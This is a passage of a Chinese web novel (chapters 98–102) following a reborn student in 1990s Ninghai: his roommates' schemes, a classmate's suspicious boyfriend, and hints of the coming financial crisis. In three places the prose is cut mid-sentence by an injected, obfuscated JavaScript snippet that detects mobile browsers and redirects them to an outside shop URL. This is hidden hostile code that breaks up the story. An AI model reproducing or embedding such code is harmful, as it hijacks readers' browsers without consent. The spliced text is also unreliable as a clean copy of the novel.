“那个导师说,计算机这个东西,以后会像电话一样普及,家家户户都会有。他说现在美国那边已经有人在搞什么‘信息高速公路’,就是把全世界的计算机连在一起,以后坐在家里就能查资料、买东西、跟别人聊天,不用出门。” 李曼说到这儿,眼睛里带着一种将信将疑的神色:“他说这个趋势谁也挡不住,学计算机的人以后肯定不愁饭吃。我们政管系的课,他说有些可以糊弄糊弄就过去了,但计算机不行,这个必须得学好。” 她把课本塞进包里,拉上拉链,抬起头看着韩学涛:“我们班大部分人都去学现代银行学了。但我想了想那个导师说的话,还是选了计算机。哪怕是文科,也不能不会。而且我还打算计算机考级呢!” 韩学涛笑了笑。 “怎么了?”李曼问,“我说得不对?” “说得对,”韩学涛说,“但应该还不止。” 李曼歪着头看他:“不止什么?” 韩学涛想了想,没说太多。他总不能告诉李曼,他来自二十多年后,亲眼看见过计算机和互联网是怎么彻底改变这个世界的。 “那个导师挺有远见的,但我觉得他还是低估了。计算机这个东西,不光是‘像电话一样普及’那么简单。它会改变一切——工作、生活、做生意的方式,甚至人和人之间的关系。” 李曼看着他,眨了眨眼,像是在消化这段话。 韩学涛笑了笑,站起来背上包:“走吧,我室友等着了。” 两个人一前一后出了教室。小白早就收拾好了,在前面隔了几步远的地方等着,看见他们出来,默默地跟在旁边,没怎么说话。 韩学涛走在路上,脑子里还在转。 他想起在图书馆听过牛津大学万灵学院一位社会和**理论教授的课,讲的是《卡尔·马克思的历史理论》。当时听完很受启发——计算机技术的浪潮带来的是生产关系的巨变,就好像技术之神的手指轻轻一碰,那个曾经横跨欧亚大陆、强大到不可一世的帝国,便轰然倒塌了。 这不是夸张。 冷战结束的原因有很多,但生产力飞跃带来生产关系的巨变是最根本的。 用后来马斯克的话说,这叫第一性原理——决定事物本质最根本的那个东西。 想到马斯克,韩学涛精神一振。 这位老兄此刻应该刚从斯坦福大学退学没多久,创立了一家叫Zip2的公司。说白了就是互联网版的黄页加地图——用户在网站上查到一家企业,然后可以直接在地图上找到它的位置。 跟韩学涛自己所选择的创业方向,竟然神奇的雷同。 马斯克比他大几岁,创业走在了前面,而且还是在硅谷,那个全世界的技术和资本最密集的地方。自己在宁海,一个华夏普通的省会城市,手里只有八万块钱,连一台像样的电脑都还没买。 还是得加快速度啊。 第98章 看见天边吹起的第一丝风 时间过得很快,转眼就是两个月后。 四月底的宁海,梧桐树已经绿得遮天蔽日。校园里到处飘着毛茸茸的飞絮,浮在空气里,落在肩膀上,钻进鼻孔中,让人忍不住打喷嚏。 这两个月里,韩学涛每周和李曼当两天同班同学——周一上午、周五下午,雷打不动。随着港岛回归的日子越来越近,李曼学生会的杂事越来越多,但周五下午的计算机课,她无论如何都会来上。 股市还在涨。韩学涛隔三岔五买份报纸看行情,有时也想买个传呼机——那时候BP机正流行,不少家境好的大学生都配上了,在图书馆里“滴滴”一响,装模作样说声“不好意思”,其实就是想让女生看一眼。 但想了想,还是算了。等手机出来,这玩意儿就淘汰了,何况自己毕竟是特困生。寝室里唯一一个特困生配上传呼机,怎么想都觉得不是那么回事。 说到寝室,于鑫和楚强这两个人,倒是让韩学涛有点刮目相看。 他给他们出了主意,原本想着他们搞不定还会回来找他,没想到两个人竟然自己都办成了。 于鑫这家伙,平时嘴里没个正形,真办起事来却一点儿不含糊。 烟酒送出去,高数郑老师和英语王老师那边就通了。最难搞的是钱老师,软硬不吃,直接把他赶出办公室:“同学,你的心思我明白,但我这个人的原则你也该打听过了。东西拿回去,好好复习,考不过就补考,补考不过就重修,没什么丢人的。” 于鑫回去一琢磨,打听到钱老师女儿的幼儿园,买了一堆糖找过去。小姑娘懵了,也不认识这位麻杆叔叔啊? 幼儿园老师吓得赶紧给钱老师打电话,钱老师骑着自行车赶来,脸都绿了。 他把于鑫揪回办公室,问他到底想干嘛。 于鑫二话不说,膝盖一弯就要下跪:“老师,我给你跪下行不行?你要是不答应,那就是我诚意不够,以后只能拿更大的行动来表达决心。” 钱老师对这个学生彻底没辙了,直接扔给他一张试卷:“滚回去写,别写一百,最多七十。” “我懂,我懂。”于鑫一鞠躬,“谢谢老师!” 而楚强那边,事情也办得很漂亮。 这家伙平时拉着个脸,三棍子打不出一个闷屁,可真做起事来,心思比谁都细。 他当天晚上就去找了老谢,老谢又带着他去找李曼。李曼一听,觉得这个想法很好,又问了韩学涛,知道这是韩学涛给室友出的主意,就去找了生活部的部长——部长大四了,马上毕业,哪有闲心管这事,直接交给李曼:“你看着办吧。” 于是这事就以学生会的名义做起来了。 楚强最聪明的地方,是他找的那个名义——“校园捡垃圾公益基金”。 这名义妙就妙在:他们晚上巡逻的时候顺手捡捡垃圾,就可以名正言顺地从基金里拿钱。谁也说不出什么——爱护校园环境嘛,付出了劳动,拿一点补贴,合情合理。 要是换别的名义,麻烦就大了——捐款得有凭证,资金去向要公示,有人较真一抓一个准。 但捡垃圾这事,不需要凭证,不需要公示,捡多捡少谁能查出来? 楚强想得滴水不漏。 当然,也不是所有人都服气。 巡逻队里有几个大二的学生,对大一的楚强指手画脚,很不服气:“你算老几?” 楚强直接找到他们,说:“你们不想上交,可以。那咱们把规矩说清楚:同学丢了东西来问,我们这里没有记录,我就让他去找你们。我们这边有学生会盯着,每一笔都透明。你们那边拿不出来,到时候自己跟失主交代。” 几个人傻眼了。 他们看着楚强那张扑克脸,忽然觉得这个大一的小子,真特么是个狠人。 韩学涛听完这些事,也不得不对这两个室友高看一眼。 都是人才啊。 生活超市旁边的校园报刊亭,韩学涛把自行车支在路边,买了一份《证券报》。 卖报纸的是刘阿姨,四十多岁,圆脸,说话嗓门大,人很爽快。韩学涛隔三岔五就来买报纸,一来二去已经很熟了。刘阿姨对这个长得阳光帅气又喜欢看报的小伙子很喜欢,经常请他吃根冰棍什么的。 “又来**券报?”刘阿姨把报纸递过来,顺手从旁边的小冰柜里抽出一根冰棍,“给,天热了,降降温。” “谢谢阿姨。”韩学涛接过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428377|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,没急着吃,先把报纸展开,靠在自行车上认真地翻。 说实在的,证券报这种报纸在学校里并不好卖。大学生不是炒股的主要人群,要不是刘阿姨自己也炒股,她都不会进这种报纸。当然现在炒股热,学校里一些老师路过会买,少量进一些倒也卖得掉。 刘阿姨对韩学涛买这种报纸一直挺奇怪,以前不好问。今天看他靠在自行车上,眉头微微皱着,一副认真研究的模样,她终于没忍住。 “小伙子,你是不是自己也炒股?” 韩学涛抬头笑了笑:“家里人炒一点,我就跟着学一学。” “哦,家里人炒啊。”刘阿姨点点头,又问,“你是经管系的吧?学金融的?” “不是,我是地质系的。” 刘阿姨一愣,上下打量了他一眼,眼神里多了几分怜惜——多好的小伙子,怎么偏偏去了那个破系。她一个卖报纸的,虽然跟学校有点关系,但也没法给韩学涛转系,叹了口气,压低声音说: “前两天经管系的陈教授来买报纸,跟我聊了几句。他说这波大盘上涨,很可能会持续到1999年以后,正好赶上澳门回归。要是再维持得久一点,甚至有可能在新世纪创出新高。” 韩学涛抬起头,看了刘阿姨一眼。 刘阿姨以为他不信,连忙补了一句:“陈教授可是大经济学家,他说的应该不会错。你家要是有人炒股,把这话带回去,让他们心里有个底。” 韩学涛笑了笑:“谢谢阿姨,以后有什么消息再跟我说。” 他把报纸一卷,夹在自行车后座上。骑出去几十米,脸上的笑容慢慢收了起来—— 他想起了刚才看到的一则很不起眼的消息。 报纸第四版,右下角——“穆迪下调泰国三家国有银行长期债券评级”。 就那么一个不起眼的财经新闻,夹在各种公司公告和股评文章中间,不仔细看根本注意不到。 但韩学涛看到了。 此时没有人会把这个豆腐块大的消息当回事。 韩学涛骑着自行车,穿过校园的林荫道,梧桐树的影子一片一片落在他身上。 他抬起头,仿佛看见了天边吹起的第一丝风。 第99章 那男的不是好人! 晚上,韩学涛吃了饭,正抹着嘴准备去图书馆,刚出寝室楼,一个人影蹿了出来。 “涛子!” 韩学涛一愣,看清来人,眼睛亮了:“马猴?你怎么突然就过来了?也不提前打个招呼。” 马辉挠了挠头:“毕业的时候就说上了大学要过来找你,一直也没过来。今天没事,过来找你聊聊。” 韩学涛看了他一眼。说没事,那应该就是有事了。 他没多问,带着马辉先去图书馆请了个假,顺道在校园里转了一圈,然后带他去了校外那家常去的川菜馆。 “要不要喊李曼出来?”韩学涛问。 马辉摆摆手:“不用。” 韩学涛心里有数了——这是有事想私聊。 川菜馆在学校附近专做学生生意,甚至还有那种小隔间,学生们叫“情侣包厢”。韩学涛要了一间,两个人进去坐下,点了几个菜。 “来点儿酒?”韩学涛问。 马辉点点头。 韩学涛又要了几瓶啤酒。 菜上来,酒满上。马辉端起杯子,没急着喝,先开了口:“涛子,一直说来,拖到现在才来,对不住了。” 说完,咕咚咕咚,一杯酒就进去了。 韩学涛靠在椅背上看着他,笑了笑:“你这是过来道歉的?你这是过来找酒喝了。有什么事儿,说说吧。” 马辉没接话。 他夹了一块回锅肉,嚼着嚼着,眼眶竟然红了。 韩学涛叹了口气,拿起酒瓶,把马辉的杯子满上:“说不出来就喝酒。酒到位了,有些话就能说了。” 他端起自己的杯子,跟马辉碰了一下,两个人又干了一杯。 韩学涛再次拿起酒瓶,把两人的杯子倒满。 不管是因为什么事,马辉能来找他,这份友谊就弥足珍贵。马辉不知道,任何人都不知——韩学涛现在还清晰地记得,他重生回来那天,马辉在楼下喊他的声音和样子。 只有经历过刻骨铭心的失去和新生,才能懂得,这样的初见意味着什么。 又是一杯酒下肚。 马辉把杯子往桌上一墩,打开了话匣子:“涛子,是点点的事。” 韩学涛没插话,等着他说。 “刚开始都挺好的。”马辉说,声音有些哑,“我给她写信,她回信。我还去师范找过她,她带我逛校园,请我吃饭,两个人聊得挺开心的。” “你这个马猴子,就是重色轻友。”韩学涛端起酒杯,“从你们农学院到师范,跟到我们宁海大学差不多路程。你不来找我,跑去找罗点点?赶紧自罚一杯。” 马辉把杯子里的酒喝了:“我自罚一瓶。” 他真开了一瓶啤酒,咕咚咕咚往下灌。韩学涛也不劝,看着他喝完。 “行吧,原谅你一次。”韩学涛说,“后来呢?” 马辉抹了把嘴,继续说:“后来就更好了。有次点点专门从师范跑到农院来找我,我带她吃了我们食堂,又去爬了学校后面那座山。” “就是你说的你们农院那个恋爱圣地?” 马辉“嗯”了一声。 “那也不灵啊。” 马辉扯了扯嘴角:“你能不能别打岔。” “行行,你说你说。” 马辉的声音低下去:“回去之后又通了几封信。慢慢地,我就感觉她有点冷落了。写信不回,回了也短。我又去师范找了她一次,她还是请我吃饭、逛校园,但我能感觉到,她态度不一样了。” “会不会是你太敏感了?也许人家压根儿就对你没意思。” “我又不是花痴。”马辉有点急,“以前点点给我写信说的那些话,还有她来找我的时候那个态度,跟后来完全不一样。表面上过得去,但明显判若两人!” 韩学涛没接话。 马辉自己往下说:“后来——后来她找了一个校外的男朋友。” “你怎么知道的?” “我在农院碰到四班的齐娟,来我们学校找她弟弟,跟我说了这事。我写信问点点,她还不承认。” 他停顿了一下,端起酒杯又喝了一口,眼睛盯着桌面。 “直到有一个周末,我又去她们学校找她,亲眼看到她和那个男的一起在校门外打车离开。手拉着手。” 韩学涛听完,拿起酒瓶,把两个人的杯子倒满。 罗点点找校外男朋友的事,他听李曼说过一句,心里早就有谱,现在马辉过来诉苦,他也只能宽慰两句。 “这事儿呢,你也只能想开一点。你喜欢罗点点没错,但人家也有自己选择的权利。酒喝了,这事儿就过去了。天底下女人多的是,你以后还会碰到更适合你的。” 他的语气不紧不慢,像是在说一件很平常的事。在他眼里,马辉就是个情窦初开的小年轻,这种事没必要劝太多,自己想开就行。 哪个男人不是这么过来的? 马辉说:“你说的我都知道,我也不是矫情的人,我马辉也是个爷们儿。” 他顿了顿,声音一沉:“但点点找的那个男的不是什么好人。” 韩学涛一愣:“怎么不是好人了?” “我也说不清楚,但我感觉得出来。他找点点,肯定是有目的的。” 韩学涛笑了一下,端起酒杯:“来,喝酒。” 这一次,马辉没端杯子,盯着韩学涛的眼睛:“涛子,你别笑。我知道你不信,但是我对好人坏人的感觉是很准的。我爸当年就是刑警,光荣的。我遗传了我爸的基因,可惜我妈不让我当警察。” ... 与此同时,李曼正带着妈妈逛校园。 顾爱芝来宁海办事,顺便来学校看看女儿。 李曼对妈妈到来很高兴,拉着她去小食堂,让妈妈尝一下宁海大学的伙食。 顾爱芝夹了一筷子菜,嚼了嚼,眉头微微动了一下,没说什么。李曼眼巴巴地看着她:“怎么样?” “还不错。”顾爱芝放下筷子,“大锅饭,能做到这个程度也算不错了。比你爸他们机关差远了。” “妈,你可真会比。”李曼笑嘻嘻地给妈妈碗里又夹了一块排骨,“多吃点,把嘴堵住。” 吃完饭,两个人沿着校园的林荫道慢慢走。四月底的宁海,晚风带着梧桐树叶的清香,路灯刚亮起来,橘黄色的光落在石子路上,很舒服。 顾爱芝东看看西看看,对宁海大学的环境很是满意。尤其是见到了女儿,心里高兴,脸上的笑就没断过。 “小曼,你们班男生多还是女生多呀?” “差不多,女生稍微多几个,但性别偏差不是很严重。” “有些专业女生比较少?” “嗯,比如采矿系,一个班可能就两三个女生。外语系那边女生就比较多。我们算是比较均衡的。” 顾爱芝点点头,沉默了两步,忽然问了一句:“跟你一起考进来的那个男同学,是在哪个系来着?” 李曼耳朵一竖,心里警觉起来:“哪个?” “跟你一起在春梅宾馆勤工俭学的那个,现在你就忘了?” “哦!”李曼的语气刻意地松弛下来,“你说韩学涛啊,他在地质系。课程跟我们没什么交集,平时不太碰得到,所以一下没想起来。” 顾爱芝狐疑地看了女儿一眼,但也没多问,换个话题道:“学生会最近忙不忙?” 这一下子,李曼打开了话匣子,把自己在学生会的苦恼好好跟妈妈说了一遍。 顾爱芝听了一会儿,开始给女儿传授经验:“在组织里跟人打交道,你不能光埋头干活。谁是什么性格,谁跟谁走得近,谁说话管用,这些心里都要有数......” 李曼点头,认真地听。 “你们学生会那几个男生,都怎么样?”顾爱芝随口问了一句。 “挺好的呀,都挺能干的。” “有没有特别照顾你的?” 李曼愣了一下,正要回答,一抬头,前面迎面走来了两个女孩。 “李曼!” “顾阿姨?你来学校了?你还记得我么?” 第100章 爸过来岂不是要当市长了 孙婷婷一溜小跑过来,后面跟着展雪。 “顾阿姨,你还记得我吗?” 顾爱芝看清来人,脸上绽开笑:“婷婷?几年不见,大姑娘了,长这么漂亮。” 孙婷婷嘴一撅,撒娇似的说:“顾阿姨,不带你这样的。我还能漂亮得过李曼?你是不知道我们学校有多少男生追她。” 李曼大囧:“孙婷婷,你别信口胡说行不行?” “本来嘛,”孙婷婷一脸无辜,“一个追我的都没有!” 顾爱芝笑了起来,拉着孙婷婷的手拍了拍:“看把我们婷婷急的。放心吧,你长这么漂亮,以后肯定能找一个大帅哥。” 孙婷婷嘴角微微一沉,心想:大帅哥算个屁。 但脸上还是笑盈盈的。 “你爸妈还好吧?”顾爱芝问。 “都挺好的。”孙婷婷笑着说,“李叔叔也要来宁海了吧?我爸还说等李叔叔过来,请你们来家里做客呢。” “不一定呢。”顾爱芝叹了口气,“真羡慕你爸你妈,离女儿这么近。回头你爸你妈再回东林,一定要来家里坐坐。” “嗯嗯,”孙婷婷点头,“我都想吃顾阿姨做的青椒土豆丝了呢,我妈就做不出那个味儿。” 顾爱芝笑了起来:“回头跟你妈说,把你送给我当女儿好了。” 孙婷婷嘻嘻一笑,挽着顾爱芝的胳膊晃了晃。 顾爱芝这时候看向展雪,目光在她脸上停了停:“这位同学是……” 李曼连忙介绍:“妈,这是展雪,学生会文艺部的副部长,是婷婷的室友,跟我关系也挺好的。有一次我不太舒服,还是展雪冒着大雪跑到校卫生所去帮我找的校医。” 顾爱芝听完,眼神立刻多了几分亲近:“哎呦,那可太感谢了。小曼一个人在宁海读书,多亏你们照顾。” 她低头从包里翻出一个胸针,银色的,做工精致,包装还没拆。“第一次见面,阿姨送你个小礼物。” 展雪连忙摆手:“不用不用,阿姨,您太客气了。” 顾爱芝已经拆开了包装,不由分说地给展雪戴在胸口,退后一步看了看,满意地点头:“要我说,你们两个加在一起也不如展雪好看。” 展雪低头看了一眼胸口的白色凤凰,淡淡一笑:“谢谢阿姨。” 顾爱芝点了点头,心想这女生倒是不矫情,大大方方的,不跟人推来推去。 她转头看向孙婷婷,故意板起脸:“没有你的。几年不来看我,还想要东西?下次跟你妈一起来家里再说。” 孙婷婷假装委屈地撇了撇嘴,但眼睛里全是笑意。 跟孙婷婷和展雪道别之后,李曼立刻挽住顾爱芝的胳膊,压低声音问:“妈,孙婷婷说爸要来宁海是怎么回事?” 顾爱芝看了女儿一眼,走了几步才开口:“你爸有可能要调到宁海来了。” 李曼眼睛一下子亮了:“真的?你们为什么都不跟我说?孙婷婷都比我先知道。” “还不是怕你知道以后患得患失的。”顾爱芝说,“这种事情没有准数,别抱的希望很大,到时候又没成,心里多难受。” 李曼顾不上计较这个,急着问:“爸过来还是在纪委吗?” “那我可不知道。”顾爱芝摇了摇头,生气道,“我问你爸,他也不跟我说。多问两句还跟我甩脸子,我还不问了呢。” 李曼对父亲调到宁海这件事显然挺期待,脚步都轻快了些:“那到时候你们不是都要调过来?” “是啊。”顾爱芝叹了口气,“我在单位干得好好的,他动我也得动。我算是上辈子欠了你们父女的了,跟着伺候你们。” 李曼喜笑颜开,把顾爱芝的胳膊挽得更紧了:“妈,你过来真是太好了。我有空就可以回家吃饭了。” 她顿了顿,又想起什么,“哦对了,刚才听孙婷婷的意思,她爸也调过来了?” 顾爱芝点点头:“他爸老孙这一步迈得不小,正处到副厅,直接担任了宁海副市长。级别已经赶上你爸了。” “那爸过来岂不是要当市长了?”李曼脱口而出。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428379|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们父女俩都是官迷呀?”顾爱芝白了女儿一眼,“想啥呢?你爸要调动也是平级调动。不过宁海毕竟是省会,也算是隐性升级。” 她的语气忽然沉了一些,脚步也慢下来:“可是我能感觉得出来,这次调动对你爸的压力很大。这里面弯弯绕绕太多,宁海的官不是那么好当的……” 李曼没接话,默默地点了点头。 母女俩又在校园里转了一圈。顾爱芝看了看表,从包里掏出一千块钱塞给李曼,叮嘱了几句“好好吃饭、别省钱”之类的话,然后拦了一辆出租车走了——她晚上还要赶回东林。 李曼站在校门口,看着出租车的尾灯消失在夜色里,一路想着母亲的话回到寝室。 刚推门进去,室友就从床上探出头来:“李曼,刚才有人打电话找你,号码我记下来了。” 李曼接过来一看,是师范学院的区号。她照着号码拨过去。 电话响了几声,那边传来一个熟悉的声音:“曼曼?” “点点?”李曼一乐,“你找我?” “周末有空吗?”罗点点的声音带着笑,“我想过去蹭你们学校食堂的饭吃。” “好呀。”李曼靠在墙上,把电话线绕在手指上,“就你一个人蹭饭,还是有其他人?” 罗点点在那边笑了:“怎么,听你的意思,对我一个人过去还不太满意?那我就再带一个喽。” 李曼翻了个白眼:“想找人来吃穷我呀?我带韩学涛一起AA!” 电话那头传来罗点点咯咯的笑声。 与此同时,韩学涛把喝得酩酊大醉的马辉拖进了学校旁边的小宾馆。 马辉醉得不省人事,身体死沉死沉的,韩学涛连拖带拽,费了好大劲才把人弄到床上。马辉一躺下就开始翻来覆去,嘴里含混不清地念叨着什么。 韩学涛凑近听了听。 “我保……保护你……点点……” 死猴子,居然还是个情圣? 他直起身,看着马辉被酒精烧得通红的脸,忍不住摇头一笑。 第101章 罗点点的男朋友 “曼曼,来让我抱抱——” 罗点点远远地就张开双臂,小跑着扑过来。李曼笑着迎上去,两个人搂在一起,惹得旁边路过的几个男生频频回头。 李曼搂着罗点点的腰,语气又嗔又喜:“你也好意思说,现在才想着来看我?过年也不在,上次见你还是在高中了!” “哎呀,别提了。”罗点点松开手,捋了捋头发,叫苦道,“我哪想到大一课程那么多?我又不像你聪明、学习好,光应付考试就快把我累**。过年就更别提了,本来想在家里睡几天,结果被我爸拉回老家,可把我折腾**。” “哼,少来这套!”李曼说,“你根本就是心里没我,我就不拆穿你了……” 两个女生卿卿我我,热热乎乎地聊着,把旁边的人当空气。 韩学涛站在两步远的地方,看着这一幕,没插话。 他也没想到马辉刚走,紧接着周末罗点点就带着男朋友来了,仿佛都约好了似的。 说实在,罗点点变化蛮大的。 他上次见罗点点还是去年高考前。那时候的罗点点戴着黑框眼镜,扎着马尾辫,穿着校服,就是一个普普通通的高中小女生。 现在不一样了。 黑框眼镜没了,大概是换了隐形。头发放下来披在肩上,发尾微微卷着,穿了一件宽松的印花衬衫,下面配着浅色牛仔裤,脚上是一双白色的厚底鞋。嘴唇上还涂了点亮色的唇彩,整个人透着一股港风。 女大十八变,这话真不假。 而跟罗点点一起过来的年轻男子站在一旁,双手插在裤兜里,看着两个女生聊得热火朝天,等了一会儿,目光才转到韩学涛身上。 两个人碰了一下目光。 那男子微微点头,嘴角动了一下,算是笑了,但笑得明显敷衍,向韩学涛伸出手来:“你是点点的高中同学吧?” 韩学涛跟他握了一下,笑着“嗯”了一声,就不再多说了。 他借着这个机会打量了对方一眼。 看着挺斯文的。皮肤白净,手指修长,指甲修得整整齐齐。戴着一副无框眼镜,发型和穿着明显打理过,脖子上戴着一条细细的银链子。 从头到脚,每一处都透着“精心”两个字。 韩学涛心里一动。 上次马辉来的时候,说他感觉罗点点这个男朋友不是好人。韩学涛当时没当回事——喜欢的女孩跟别的男人在一起,看那个男的怎么都不顺眼,这是人之常情,跟是不是好人没关系。 但现在亲眼一看,他却不能不说,马辉的感觉是有点敏锐的。 不愧是刑警家庭出来的,有遗传。 这个男子给他一种非常熟悉的感觉。不是因为他见过这个人,而是对他说话、看人、举止、谈吐的那种气质,非常熟悉。 像是江湖上的拆白党。 拆白党,源于青帮的一种黑话,指的就是靠骗女人赚钱的那类人。港片里的经典称谓是“小白脸”,广东那边有些地方叫“鸭王”。他们通常长得不错,穿着得体,说话好听,懂得怎么讨女人欢心。目标往往是家境尚可、涉世未深的年轻女孩——先骗感情,再**,最后人财两空。 韩学涛以前见过不少这样的人,只不过这些人在他眼里都属于不入流。 他心里有了数,但脸上什么表情都没有,还是那副淡淡的笑。 罗点点终于想起来还有个男朋友没介绍。她转过身,拉住那男子的胳膊,笑着说:“差点忘了——这是吴翔,比我大几岁,现在已经上班了。” 吴翔冲李曼和韩学涛点点头,笑容比刚才自然了一些:“你们好。” 罗点点又转向韩学涛,笑嘻嘻地说:“韩学涛,好久不见呀,这次过来蹭你们的饭喽,可不许嫌我烦。” 韩学涛笑了笑:“欢迎,想吃什么随便点。” 韩学涛和李曼带着罗点点和吴翔去了小食堂,吃完饭又带着他们在校园里转了一圈。 如果说刚才在门口只是猜测,那么经过这一段时间的接触,韩学涛基本上可以确认了。 混过黑道的人,只要还有点脑子,对拆白党这种东西很容易辨认。在骗子里面,他们不算道行多深的,只是**目标的群体非常明确——就是女人。 而对于韩学涛这样曾经的黑道大佬来说,看这种人简直一看一个准。 这种人有什么特征?不看穿着,看举止。 看人的时候,目光虽然是在盯着你,但眼神是飘的,这是一种在做坏事时本能的警觉。 说话的时候,会顺着女生的话先讨好,然后再慢慢往自己想说的方向牵引。从来不会直接否定女生说的任何一句话。 聊着聊着会不经意地卖一个小惨——比如“我以前也挺想上大学的,可惜家里条件不允许”,说完就收住,不多讲,恰到好处地勾起女生的好奇心和同情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428380|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。等女生追问了,他又轻描淡写地绕开,“都过去了,不提了”。 紧接着再不经意地撩两句——比如“你们学校女生都像你这么好看吗”,语气半真半假,说完马上装作一本正经地转移话题。 这些小动作、小话术,普通人可能觉得这个人挺会聊天、挺有分寸,但在韩学涛眼里,就跟看说明书一样清楚。 一顿饭加一圈校园逛下来,吴翔说了几句话、做了几个动作,韩学涛心里就已经定了。 他看了一眼罗点点——这姑娘正挽着吴翔的胳膊,笑得一脸甜蜜,跟李曼叽叽喳喳地说着暑假的计划。 韩学涛心里对马辉有点不值。喜欢的女孩被这么一个人盯上了,那基本就是没戏。 骗女孩是这些人的专业,马辉一个还在**塔的大学生,肯定争不过的。 但没有办法,这就是社会。没有哪一个人、哪一段感情是活在真空里的,大家都要面对。 学校快逛完的时候,罗点点对李曼说:“曼曼,晚上我们就不吃了,还得去市里办点事,然后早点回学校。” 李曼也没多留:“行,那你们路上慢点。” 四个人在校门口分了手。罗点点挽着吴翔的胳膊,两个人沿着马路往公交站的方向走了。吴翔走的时候,还回头冲韩学涛和李曼很得体地摆了摆手。 等两个人走远了,李曼站在校门口,忽然开口:“你觉得点点这个男朋友怎么样?” 韩学涛看了她一眼:“你觉得呢?你们女生的第六感不是挺准的吗?” 李曼歪着头想了一下,眉头微微皱着:“我觉得……他对罗点点有些不尊重。” “怎么?” “我能感觉得出来。”李曼说,“好几次他看罗点点的时候,眼睛的余光一直都在我身上。虽然从外貌上来讲,我确实比罗点点好上那么一丢丢——” 韩学涛笑了一下。 “你别笑,我说正经的。”李曼瞪了他一眼,“点点也是可爱型的好不好?他这样我觉得不太好,让我有点不太开心。就是那种……哎呀,你明白我的意思吧。” 韩学涛明白。吃着碗里的,看着锅里的。 李曼叹了口气,语气认真起来,“我怕这男的以后对点点变心,怎么办?” 韩学涛想了想,说:“那你就提醒点点两句。我们能做的也就这样了。” 李曼沉默了一会儿,点了点头。 第102章 报纸上的消息 跟李曼在校外吃完砂锅,韩学涛回到寝室。洗漱完躺到床上,翻来覆去了一阵,又坐了起来。 想了想,他套上外套,跑到楼下,用IC卡电话拨通了马辉寝室。 管它什么鸭王,鸡头......这事儿都跟他没关系。 但马辉上次专程从农院跑过来找他倾诉,他觉得自己还是有必要跟马辉说一声。 电话响了好几声才有人接。那边吵吵闹闹的,有**吉他,有人扯着嗓子嚎。喊了半天,马辉才跑过来。 “马猴,是我。” “涛子?这么晚了,啥事?” 韩学涛顿了一下,说:“今天罗点点来我们学校了,带着那个男的。” 电话那头沉默了两秒。 “我知道。”马辉的声音比上次平静了些,“点点给我打电话了,说下周要来农院找我。” 韩学涛微微皱眉——罗点点这算什么操作? 想了想,也懒得管了。自己又不是菩萨,哪管得了那么多。 “行吧,马猴,”他说,“感情的事,外人也帮不上忙。一切看缘分,你也别太执着。” 他停了一下,又补了一句:“不过见到那个吴翔之后,我觉得你家里刑警天赋的遗传,还真是挺强的。” 电话那头,马辉呼吸一滞—— “我知道了。” 韩学涛没再多说,挂了电话。他点了根烟,站在楼下抽完,把烟头掐灭在垃圾桶上。 点到为止,自己能做的也就这些了。剩下的,看马辉自己吧。大学女生那么多,没必要非在罗点点一棵树上吊死。 他不再想这事了。 计算机课。 韩学涛背着包往计算机系教学楼走,小白跟在他旁边。两人到了教室,找位置坐下,刚把课本掏出来,门口又进来一个人。 楚强。 韩学涛愣了一下。 楚强背着包,面无表情地走进来,目光扫了一圈,看到他们,径直走过来,在小白旁边坐下了。 “你怎么来了?”韩学涛问。 “上课。”楚强说。 韩学涛看了小白一眼。小白耸耸肩,也是一脸“我也不知道”的表情。 “你转到我们专业了?”韩学涛问。 楚强点了点头。 韩学涛有些诧异。小白转过来还能理解,毕竟他原来那个古生物学也算不上什么好专业。但楚强可是地质学专业的——那在地质系里是最重要、最拿得出手的主专业,转到画地图这种冷门专业来,就有点奇怪了。 “你怎么转过来了?”韩学涛问,“你原先的专业呢?” “换给老谢了。” 韩学涛眼睛微微眯起:“老谢找你的?” “不是,”楚强说,“是我主动要求的。不过我走了之后,地质专业多了一个坑,肥水不流外人田,老谢想要就给他了。” 韩学涛问:“老谢以前是什么专业的?” “探矿工程。” 韩学涛点点头。在地质系,探矿工程不算特别差,但也不算好。能直接进入主专业学习,肯定比探矿工程强多了。 他看着楚强:“你好好的地质学主专业不学,跑到画地图这个冷门专业来干什么?” 楚强沉默了片刻,说:“我不知道这个专业冷不冷。但我觉得你选的专业肯定有你的道理。再说了,地质系的所有专业在我看来都差不多,以后我也不想做这方面的工作,学哪个专业都一样。” 韩学涛笑了一下:“你对我倒是挺有信心。我自己在这个天坑专业里,还不知道以后怎么办呢。” 楚强说:“以前我妈常跟我说一句话,一定要跟见识比自己高的人在一起。咱们寝室这些人里,你的见识比我们都高。” 